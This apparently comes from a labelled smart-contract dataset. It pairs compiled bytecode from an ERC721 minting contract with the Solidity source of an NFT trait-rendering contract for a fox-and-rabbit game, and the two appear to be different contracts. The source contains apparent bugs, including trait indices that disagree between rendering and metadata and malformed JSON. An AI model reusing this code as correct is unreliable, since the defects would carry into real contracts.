} | 0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f47565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f2c565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612154565b34801561029957600080fd5b506102ad6102a8366004611fca565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f02565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e20565b6109b7565b34801561037557600080fd5b50610310610384366004611f02565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e20565b610b00565b3480156103bd57600080fd5b506103d16103cc366004611dd2565b610b1b565b6040516102409190612110565b3480156103ea57600080fd5b506102696103f9366004611fca565b610bbd565b34801561040a57600080fd5b50610310610419366004611fca565b610bec565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f81565b610c7f565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fca565b610cc0565b3480156104a357600080fd5b506103106104b2366004611dd2565b610d37565b3480156104c357600080fd5b50610269610dbe565b3480156104d857600080fd5b506102696104e7366004611fca565b610df4565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e23565b61026961052d366004611fca565b610e32565b34801561053e57600080fd5b5061026961054d366004611ed8565b610edf565b34801561055e57600080fd5b50610269610fa4565b34801561057357600080fd5b50610269610582366004611e5c565b610fdf565b34801561059357600080fd5b50610280611017565b3480156105a857600080fd5b506102806105b7366004611fca565b611024565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f81565b6111a3565b3480156105fe57600080fd5b5061023461060d366004611ded565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f81565b6111e0565b34801561066757600080fd5b50610269610676366004611dd2565b61121d565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112b5565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121b9565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122cd565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122cd565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122cd565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cc0565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611305565b505050565b6109c13382611373565b6109dd5760405162461bcd60e51b81526004016106d0906121ee565b6109b283838361146a565b60006109f383610d37565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121b9565b604051600090339047908381818185875af1925050503d8060008114610aea576040519150601f19603f3d011682016040523d82523d6000602084013e610aef565b606091505b5050905080610afd57600080fd5b50565b6109b283838360405180602001604052806000815250610fdf565b60606000610b2883610d37565b905060008167ffffffffffffffff811115610b4557610b4561238f565b604051908082528060200260200182016040528015610b6e578160200160208202803683370190505b50905060005b82811015610bb557610b8685826109e8565b828281518110610b9857610b98612379565b602090810291909101015280610bad81612308565b915050610b74565b509392505050565b600a546001600160a01b03163314610be75760405162461bcd60e51b81526004016106d0906121b9565b600d55565b6000610bf760085490565b8210610c5a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c6d57610c6d612379565b90600052602060002001549050919050565b600a546001600160a01b03163314610ca95760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600b906020840190611c97565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610da25760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610de85760405162461bcd60e51b81526004016106d0906121b9565b610df26000611615565b565b600a546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016106d0906121b9565b600f55565b6060600180546106fb906122cd565b6000610e3d60085490565b60105490915060ff1615610e5057600080fd5b60008211610e5d57600080fd5b600f54821115610e6c57600080fd5b600e54610e79838361223f565b1115610e8457600080fd5b600a546001600160a01b03163314610eb05781600d54610ea4919061226b565b341015610eb057600080fd5b60015b8281116109b257610ecd33610ec8838561223f565b611667565b80610ed781612308565b915050610eb3565b6001600160a01b038216331415610f385760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fce5760405162461bcd60e51b81526004016106d0906121b9565b6010805461ff001916610100179055565b610fe93383611373565b6110055760405162461bcd60e51b81526004016106d0906121ee565b61101184848484611681565b50505050565b600c8054610820906122cd565b6000818152600260205260409020546060906001600160a01b03166110a35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661114457601180546110bf906122cd565b80601f01602080910402602001604051908101604052809291908181526020018280546110eb906122cd565b80156111385780601f1061110d57610100808354040283529160200191611138565b820191906000526020600020905b81548152906001019060200180831161111b57829003601f168201915b50505050509050919050565b600061114e6116b4565b9050600081511161116e576040518060200160405280600081525061119c565b80611178846116c3565b600c60405160200161118c9392919061200f565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111cd5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600c906020840190611c97565b600a546001600160a01b0316331461120a5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc906011906020840190611c97565b600a546001600160a01b031633146112475760405162461bcd60e51b81526004016106d0906121b9565b6001600160a01b0381166112ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610afd81611615565b60006001600160e01b031982166380ac58cd60e01b14806112e657506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061133a82610cc0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166113ec5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b60006113f783610cc0565b9050806001600160a01b0316846001600160a01b031614806114325750836001600160a01b03166114278461077e565b6001600160a01b0316145b8061146257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661147d82610cc0565b6001600160a01b0316146114e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115475760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115528383836117c1565b61155d600082611305565b6001600160a01b038316600090815260036020526040812080546001929061158690849061228a565b90915550506001600160a01b03821660009081526003602052604081208054600192906115b490849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cbc828260405180602001604052806000815250611879565b61168c84848461146a565b611698848484846118ac565b6110115760405162461bcd60e51b81526004016106d090612167565b6060600b80546106fb906122cd565b6060816116e75750506040805180820190915260018152600360fc1b602082015290565b8160005b811561171157806116fb81612308565b915061170a9050600a83612257565b91506116eb565b60008167ffffffffffffffff81111561172c5761172c61238f565b6040519080825280601f01601f191660200182016040528015611756576020820181803683370190505b5090505b84156114625761176b60018361228a565b9150611778600a86612323565b61178390603061223f565b60f81b81838151811061179857611798612379565b60200101906001600160f81b031916908160001a9053506117ba600a86612257565b945061175a565b6001600160a01b03831661181c5761181781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61183f565b816001600160a01b0316836001600160a01b03161461183f5761183f83826119b9565b6001600160a01b038216611856576109b281611a56565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b05565b6118838383611b49565b61189060008484846118ac565b6109b25760405162461bcd60e51b81526004016106d090612167565b60006001600160a01b0384163b156119ae57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118f09033908990889088906004016120d3565b602060405180830381600087803b15801561190a57600080fd5b505af192505050801561193a575060408051601f3d908101601f1916820190925261193791810190611f64565b60015b611994573d808015611968576040519150601f19603f3d011682016040523d82523d6000602084013e61196d565b606091505b50805161198c5760405162461bcd60e51b81526004016106d090612167565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611462565b506001949350505050565b600060016119c684610d37565b6119d0919061228a565b600083815260076020526040902054909150808214611a23576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a689060019061228a565b60008381526009602052604081205460088054939450909284908110611a9057611a90612379565b906000526020600020015490508060088381548110611ab157611ab1612379565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ae957611ae9612363565b6001900381819060005260206000200160009055905550505050565b6000611b1083610d37565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611b9f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c045760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c10600083836117c1565b6001600160a01b0382166000908152600360205260408120805460019290611c3990849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ca3906122cd565b90600052602060002090601f016020900481019282611cc55760008555611d0b565b82601f10611cde57805160ff1916838001178555611d0b565b82800160010185558215611d0b579182015b82811115611d0b578251825591602001919060010190611cf0565b50611d17929150611d1b565b5090565b5b80821115611d175760008155600101611d1c565b600067ffffffffffffffff80841115611d4b57611d4b61238f565b604051601f8501601f19908116603f01168101908282118183101715611d7357611d7361238f565b81604052809350858152868686011115611d8c57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dbd57600080fd5b919050565b80358015158114611dbd57600080fd5b600060208284031215611de457600080fd5b61119c82611da6565b60008060408385031215611e0057600080fd5b611e0983611da6565b9150611e1760208401611da6565b90509250929050565b600080600060608486031215611e3557600080fd5b611e3e84611da6565b9250611e4c60208501611da6565b9150604084013590509250925092565b60008060008060808587031215611e7257600080fd5b611e7b85611da6565b9350611e8960208601611da6565b925060408501359150606085013567ffffffffffffffff811115611eac57600080fd5b8501601f81018713611ebd57600080fd5b611ecc87823560208401611d30565b91505092959194509250565b60008060408385031215611eeb57600080fd5b611ef483611da6565b9150611e1760208401611dc2565b60008060408385031215611f1557600080fd5b611f1e83611da6565b946020939093013593505050565b600060208284031215611f3e57600080fd5b61119c82611dc2565b600060208284031215611f5957600080fd5b813561119c816123a5565b600060208284031215611f7657600080fd5b815161119c816123a5565b600060208284031215611f9357600080fd5b813567ffffffffffffffff811115611faa57600080fd5b8201601f81018413611fbb57600080fd5b61146284823560208401611d30565b600060208284031215611fdc57600080fd5b5035919050565b60008151808452611ffb8160208601602086016122a1565b601f01601f19169290920160200192915050565b6000845160206120228285838a016122a1565b8551918401916120358184848a016122a1565b8554920191600090600181811c908083168061205257607f831692505b85831081141561207057634e487b7160e01b85526022600452602485fd5b8080156120845760018114612095576120c2565b60ff198516885283880195506120c2565b60008b81526020902060005b858110156120ba5781548a8201529084019088016120a1565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061210690830184611fe3565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156121485783518352928401929184019160010161212c565b50909695505050505050565b60208152600061119c6020830184611fe3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561225257612252612337565b500190565b6000826122665761226661234d565b500490565b600081600019048311821515161561228557612285612337565b500290565b60008282101561229c5761229c612337565b500390565b60005b838110156122bc5781810151838201526020016122a4565b838111156110115750506000910152565b600181811c908216806122e157607f821691505b6020821081141561230257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561231c5761231c612337565b5060010190565b6000826123325761233261234d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610afd57600080fdfea26469706673582212208abf52e478fe08f47cf1dec69b29cd3a64f22e2aa0ee84332a7c6565c45098ef64736f6c63430008070033 | [
5,
12
] |
0xf35D26FEc6c953cdaE62392901c53D3C85a98ad8 | /*
███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗
██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝
█████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗
██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝
██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗
╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./IFoxGameNFTTraits.sol";
import "./IFoxGameNFT.sol";
contract FoxGameNFTTraits is IFoxGameNFTTraits, Ownable {
using Strings for uint256; // add [uint256].toString()
// Struct to store each trait's data for metadata and rendering
struct Trait { string name; string png; }
// Mapping of traits to metadata display names
string[3] private _players = [ "Rabbit", "Fox", "Hunter" ];
string[4] private _advantages = [ "8", "7", "6", "5" ];
// FoxGames NFT address reference
IFoxGameNFT private foxNFT;
// Storage of each traits name and base64 PNG data [TRAIT][TRAIT VALUE]
mapping(uint8 => mapping(uint8 => Trait)) public traitData;
constructor() {}
/**
* Update the NFT contract address outside constructor as it would
* create a cyclic dependency.
*/
function setNFTContract(address _address) external onlyOwner {
foxNFT = IFoxGameNFT(_address);
}
/**
* Upload trait art to blockchain!
* @param traitTypeId trait name id (0 corresponds to "fur")
* @param traitValueId trait value id (3 corresponds to "black")
* @param traits array of trait [name, png] (e.g,. [bandana, {bytes}])
*/
function uploadTraits(uint8 traitTypeId, uint8[] calldata traitValueId, string[][2] calldata traits) external onlyOwner {
require(traitValueId.length == traits.length, "Mismatched inputs");
for (uint8 i = 0; i < traits.length; i++) {
traitData[traitTypeId][traitValueId[i]] = Trait(
traits[i][0],
traits[i][1]
);
}
}
/**
* generates an <image> element using base64 encoded PNGs
* @param trait the trait storing the PNG data
* @return the <image> element
*/
function _drawTrait(Trait memory trait) internal pure returns (string memory) {
return string(abi.encodePacked(
'<image x="4" y="4" width="32" height="32" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="data:image/png;base64,',
trait.png,
'"/>'
));
}
/**
* Generates an entire SVG by composing multiple <image> elements of PNGs
* @param t token trait struct
* @return layered SVG
*/
function _drawSVG(IFoxGameNFT.Traits memory t) internal view returns (string memory) {
string memory svg;
if (t.kind == IFoxGameNFT.Kind.RABBIT) {
svg = string(abi.encodePacked(
_drawTrait(traitData[0][t.traits[0]]), // Fur
_drawTrait(traitData[1][t.traits[1]]), // Paws
_drawTrait(traitData[2][t.traits[2]]), // Mouth
_drawTrait(traitData[3][t.traits[3]]), // Nose
_drawTrait(traitData[4][t.traits[4]]), // Eyes
_drawTrait(traitData[5][t.traits[5]]), // Ears
_drawTrait(traitData[6][t.traits[6]]) // Head
));
} else if (t.kind == IFoxGameNFT.Kind.FOX) {
svg = string(abi.encodePacked(
_drawTrait(traitData[8][t.traits[0]]), // Tail
_drawTrait(traitData[7][t.traits[1]]), // Fur
_drawTrait(traitData[9][t.traits[2]]), // Feet
_drawTrait(traitData[10][t.traits[3]]), // Neck
_drawTrait(traitData[11][t.traits[4]]), // Mouth
_drawTrait(traitData[12][t.traits[5]]), // Eyes
_drawTrait(traitData[13][t.advantage]) // Cunning
));
} else { // HUNTER
svg = string(abi.encodePacked(
_drawTrait(traitData[14][t.traits[0]]), // Clothes
_drawTrait(traitData[15][t.traits[1]]), // Marksman
_drawTrait(traitData[16][t.traits[2]]), // Neck
_drawTrait(traitData[17][t.traits[3]]), // Mouth
_drawTrait(traitData[18][t.traits[4]]), // Eyes
_drawTrait(traitData[19][t.traits[5]]), // Hat
_drawTrait(traitData[20][t.advantage]) // Marksman
));
}
return string(abi.encodePacked(
'<svg width="100%" height="100%" version="1.1" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">',
svg,
"</svg>"
));
}
/**
* Generates an attribute for the attributes array in the ERC721 metadata standard
* @param traitType the trait type to reference as the metadata key
* @param value the token's trait associated with the key
* @return a JSON dictionary for the single attribute
*/
function _attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) {
return string(abi.encodePacked(
'{"trait_type":"', traitType,
'","value":"', value,
'"}'
));
}
/**
* Generates an array composed of all the individual traits and values
* @param tokenId the ID of the token to compose the metadata for
* @return traits JSON array of all of the attributes for given token ID
*/
function _compileAttributes(uint16 tokenId, IFoxGameNFT.Traits memory t) internal view returns (string memory traits) {
if (t.kind == IFoxGameNFT.Kind.RABBIT) {
traits = string(abi.encodePacked(
_attributeForTypeAndValue("Fur", traitData[0][t.traits[0]].name), ",",
_attributeForTypeAndValue("Paws", traitData[1][t.traits[1]].name), ",",
_attributeForTypeAndValue("Mouth", traitData[2][t.traits[2]].name), ",",
_attributeForTypeAndValue("Nose", traitData[3][t.traits[3]].name), ",",
_attributeForTypeAndValue("Eyes", traitData[4][t.traits[4]].name), ",",
_attributeForTypeAndValue("Ears", traitData[5][t.traits[5]].name), ",",
_attributeForTypeAndValue("Head", traitData[6][t.traits[6]].name), ","
));
} else if (t.kind == IFoxGameNFT.Kind.FOX) {
traits = string(abi.encodePacked(
_attributeForTypeAndValue("Tail", traitData[7][t.traits[0]].name), ",",
_attributeForTypeAndValue("Fur", traitData[8][t.traits[1]].name), ",",
_attributeForTypeAndValue("Feet", traitData[9][t.traits[2]].name), ",",
_attributeForTypeAndValue("Neck", traitData[10][t.traits[3]].name), ",",
_attributeForTypeAndValue("Mouth", traitData[11][t.traits[4]].name), ",",
_attributeForTypeAndValue("Eyes", traitData[12][t.traits[5]].name), ",",
_attributeForTypeAndValue("Cunning Score", _advantages[t.advantage]), ","
));
} else { // HUNTER
traits = string(abi.encodePacked(
_attributeForTypeAndValue("Clothes", traitData[13][t.traits[0]].name), ",",
_attributeForTypeAndValue("Marksman", traitData[14][t.traits[1]].name), ",",
_attributeForTypeAndValue("Neck", traitData[15][t.traits[2]].name), ",",
_attributeForTypeAndValue("Mouth", traitData[16][t.traits[3]].name), ",",
_attributeForTypeAndValue("Eyes", traitData[17][t.traits[4]].name), ",",
_attributeForTypeAndValue("Hat", traitData[18][t.traits[5]].name), ",",
_attributeForTypeAndValue("Marksman Score", _advantages[t.advantage]), ","
));
}
return string(abi.encodePacked(
'[',
traits,
'{"trait_type":"Generation","value":', tokenId <= foxNFT.getMaxGEN0Players() ? '"GEN 0"' : '"GEN 1"',
'},{"trait_type":"Type","value":', _players[uint8(t.kind)],
'}]'
));
}
/**
* ERC720 token URI interface. Generates a base64 encoded metadata response
* without referencing off-chain content.
* @param tokenId the ID of the token to generate the metadata for
* @return a base64 encoded JSON dictionary of the token's metadata and SVG
*/
function tokenURI(uint16 tokenId) external view override returns (string memory) {
IFoxGameNFT.Traits memory traits = foxNFT.getTraits(tokenId);
string memory metadata = string(abi.encodePacked(
'{"name": "', _players[uint8(traits.kind)], " #", uint256(tokenId).toString(),
'", "description": "The metaverse mainland is full of creatures. Around the Farm, an abundance of Rabbits scurry to harvest CARROT. Alongside Farmers, they expand the farm and multiply their earnings. There',
"'", 's only one small problem -- the farm has grown too big and a new threat of nature has entered the game.", "image": "data:image/svg+xml;base64,',
_base64(bytes(_drawSVG(traits))),
'", "attributes":',
_compileAttributes(tokenId, traits),
"}"
));
return string(abi.encodePacked(
"data:application/json;base64,",
_base64(bytes(metadata))
));
}
/** BASE 64 - Written by Brech Devos */
string internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function _base64(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return "";
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
// solhint-disable-next-line no-inline-assembly
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗
██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝
█████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗
██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝
██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗
╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IFoxGameNFTTraits {
function tokenURI(uint16 tokenId) external view returns (string memory);
}
/*
███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗
██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝
█████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗
██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝
